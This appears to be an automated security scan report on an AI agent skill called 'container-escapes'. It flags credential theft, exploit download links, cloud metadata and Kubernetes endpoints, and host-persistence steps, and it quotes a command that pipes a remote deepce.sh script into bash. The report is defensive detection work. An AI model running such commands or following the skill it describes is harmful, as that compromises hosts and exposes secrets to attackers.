container-escapes

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt instructs the agent to read secrets (service account tokens, cloud metadata IAM creds, SSH keys, etc.) and explicitly requires the return summary to list "New credentials or tokens found," forcing the model to include secret values verbatim in its output.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These URLs are high-risk: they include direct raw GitHub script/exploit links (deepce.sh, CVE PoC, shocker.c) and numerous Docker/Kubernetes/etcd/kubelet and cloud metadata endpoints (Docker API on 2375, etcd 2379, kubelet 10250/10255, 169.254.169.254, metadata.google.internal, Azure IMDS) that are routinely abused to retrieve credentials, spawn privileged containers, and execute arbitrary code—making them suitable vectors for malware distribution and exploitation.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document is a highly actionable offensive playbook that explicitly instructs container escapes, host compromise, credential theft, remote code execution (reverse shells, kernel modules, eval/exec vectors), persistence/backdoor installation (SUID binaries, SSH key insertion, cron/payloads), and data exfiltration via Docker/Kubernetes/etcd/metadata APIs—clearly intended for deliberate abuse.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill explicitly instructs executing remote code at runtime via "curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash", which fetches and runs a remote script that can execute arbitrary commands and thus directly controls agent behavior.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This prompt explicitly instructs the agent to perform host-compromising actions (create privileged containers/pods, mount and modify the host filesystem, add SSH keys or passwd entries, create SUID binaries, write kernel payloads, load kernel modules, change /proc/sys settings, and escalate service account/RBAC to cluster-admin), i.e., it directs modifications to system files and persistent state to obtain root/host control.